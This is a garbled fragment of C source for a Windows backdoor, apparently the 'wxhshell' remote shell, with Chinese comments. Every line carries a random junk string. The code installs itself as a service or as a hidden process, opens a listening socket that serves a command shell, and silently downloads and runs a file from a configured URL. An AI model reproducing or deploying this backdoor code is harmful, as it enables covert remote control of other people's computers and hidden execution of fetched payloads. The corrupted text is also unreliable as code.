DWORD BasePriority; #; f50j!r
ULONG UniqueProcessId; 3YJ"[$w='(
ULONG InheritedFromUniqueProcessId; w2 r
} PROCESS_BASIC_INFORMATION; SF`(`h0e
|s;']
PROCNTQSIP NtQueryInformationProcess; MT7B'hd
~oJ"si
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; D*j^f7ab
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #IJeq0TVB
S@g(kIo]
HANDLE hProcess;
tcO{CI
PROCESS_BASIC_INFORMATION pbi; ~Hu!iZ2]
]T'7+5w
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); G{I),Y~IF
if(NULL == hInst ) return 0; 5 5m\,UG7
p!5'#\^f
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [(gXjt-
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); U
E$Ix
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); XMiu}w!
lB0`|UEb (
if (!NtQueryInformationProcess) return 0; 0)M8Tm0$
Rw|'LaW
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); v`{N0 R
if(!hProcess) return 0; l&}}Io$?@
tbWfm5$
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {VKFw=$8
+V Nk#Z i
CloseHandle(hProcess); #=VYq4B=
Nke!!A}\|
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); V$sY3,J7A%
if(hProcess==NULL) return 0; ZPyzx\6\
r fzNw
HMODULE hMod; Zazff@O *
char procName[255]; ^5.XQ0n
unsigned long cbNeeded; dI&Q5M8
TL)*onA9
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (0B?OkQ
DzQ
CloseHandle(hProcess); l#`G4Vf
#fYB4.i~
if(strstr(procName,"services")) return 1; // 以服务启动 tc<uS%XT4^
6pSi-FH
return 0; // 注册表启动 N0.|Mb"?t
} 4l+!Z, b
R(`:~@3\6
// 主模块 15,JD
int StartWxhshell(LPSTR lpCmdLine) p[(I5p:L
{ A4'5cR9T!
SOCKET wsl; 3+15
yEeA
BOOL val=TRUE; !
5NuFLOf
int port=0; >mai
v;
struct sockaddr_in door; :nQlS
]"lB!O~
if(wscfg.ws_autoins) Install(); 7jgj;%
m1U:&{:^
port=atoi(lpCmdLine); T!8^R|!a6
](A2,F
9(U
if(port<=0) port=wscfg.ws_port; T*f/M
>WIc"y.
WSADATA data; xbm%+
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]S%(l,
l6y}>]
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; W3:Fw6v
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); nuXL{tg6
door.sin_family = AF_INET; 0]kKF<s
door.sin_addr.s_addr = inet_addr("127.0.0.1"); sl `jovT[Y
door.sin_port = htons(port); p,goYF??
lQ-<T<g
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Jsysk $R
closesocket(wsl); !R"W2 Z4h
return 1; \gk.[={^P
} -}9^$}PR
mAtqF
%V
if(listen(wsl,2) == INVALID_SOCKET) { EU %,tp
closesocket(wsl); ^>?=L\[
return 1; !:^q_q4
} 3o%vV*
Wxhshell(wsl); I70c,4_G
WSACleanup(); 6e%@uB}$
8o$rF7.-
return 0; eHuJFM
Bchv1KF
} I I+y
WJ25fTsG
// 以NT服务方式启动 0RT 8N=B83
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) du66a+@t
{ x}yl Rg`[
DWORD status = 0; IHni1
DWORD specificError = 0xfffffff; A~2)ZdAN
N)H "'#-
serviceStatus.dwServiceType = SERVICE_WIN32; XP:A"WK"
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ('tXv"fT
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ZpV]X(Px(o
serviceStatus.dwWin32ExitCode = 0; 7C|!Wno[;
serviceStatus.dwServiceSpecificExitCode = 0; IT1YF.i
serviceStatus.dwCheckPoint = 0; }/F$73Xd
serviceStatus.dwWaitHint = 0; AJ bCC
c3^!S0U
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _^r};}-}
if (hServiceStatusHandle==0) return; 9%"7~YCDas
]>t~Bcnm
status = GetLastError(); LE\=Y;%
if (status!=NO_ERROR) ->8Kd1^F
{ "XR=P>
xk
serviceStatus.dwCurrentState = SERVICE_STOPPED; +?$J8Paf
serviceStatus.dwCheckPoint = 0; *Jd"3Si/
serviceStatus.dwWaitHint = 0; _&uJE&xl}
serviceStatus.dwWin32ExitCode = status; #i[:oC6m:
serviceStatus.dwServiceSpecificExitCode = specificError; H#~gx_^U
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,~1'L6Ri?
return; L"qJZU
} zuV%`n
"bm|p/A
serviceStatus.dwCurrentState = SERVICE_RUNNING; m2c'r3 UEu
serviceStatus.dwCheckPoint = 0; jYHn J}<
serviceStatus.dwWaitHint = 0; \8 `7E1d
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >>y`ap2%V
} H<(F$7Q!\
68Fl/
// 处理NT服务事件,比如:启动、停止 j
uA@"SG
VOID WINAPI NTServiceHandler(DWORD fdwControl) \c<
oVF'
{ fF(2bVKP:
switch(fdwControl) ;
oyV8P$
{ Xp:A;i9
case SERVICE_CONTROL_STOP: +e>SK!kB7
serviceStatus.dwWin32ExitCode = 0; Alxf;[s
serviceStatus.dwCurrentState = SERVICE_STOPPED; 2:*15RH3
serviceStatus.dwCheckPoint = 0; U?*zb
serviceStatus.dwWaitHint = 0; yQ$irS?
{ ppyy0E^M
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^M'(/O1
} {821e&r
return; CS7b3p!I
case SERVICE_CONTROL_PAUSE: x>yqEdR=o
serviceStatus.dwCurrentState = SERVICE_PAUSED; x+X@&S
break; (S~kyU!)0
case SERVICE_CONTROL_CONTINUE: cx\E40WD
serviceStatus.dwCurrentState = SERVICE_RUNNING; qGk.7wf%
break; Q@ VA@N=w
case SERVICE_CONTROL_INTERROGATE: @dWA1tM
break; l<v{8:,e #
}; JQV%W+-@
SetServiceStatus(hServiceStatusHandle, &serviceStatus); \ 'm7un
} GV0\+A"vD
AxH;psj
// 标准应用程序主函数 _:r8UVAT.
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,:?ibE=
{ J,=K1>8s
hX.cdt_?
// 获取操作系统版本 uf6egm5]
OsIsNt=GetOsVer(); _3`GZeGV
GetModuleFileName(NULL,ExeFile,MAX_PATH); %;[DMc/
*k{Llq
// 从命令行安装 h`&TDB2
if(strpbrk(lpCmdLine,"iI")) Install(); Kxsd@^E
zg2d}"dV
// 下载执行文件 aTvyzr1
if(wscfg.ws_downexe) { oGcgd$%ZB
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _Xf1FzF+a
WinExec(wscfg.ws_filenam,SW_HIDE); U,WOP7z
} N[_T3(
!db=Iz5)
if(!OsIsNt) { @]Jq28
// 如果时win9x,隐藏进程并且设置为注册表启动 q8{Bx03m6
HideProc(); :Awwt0
StartWxhshell(lpCmdLine); Z",0 $Gxu
} ,U{dqw8E{
else +^AdD8U
if(StartFromService()) opfnIkCe
// 以服务方式启动 /TMVPnvz.
StartServiceCtrlDispatcher(DispatchTable); F5*-HR
else ]46h!@~aC
// 普通方式启动 bpY*;o$~
StartWxhshell(lpCmdLine); ] &8em1
3r~8:F"g
return 0; {"p ~M7
}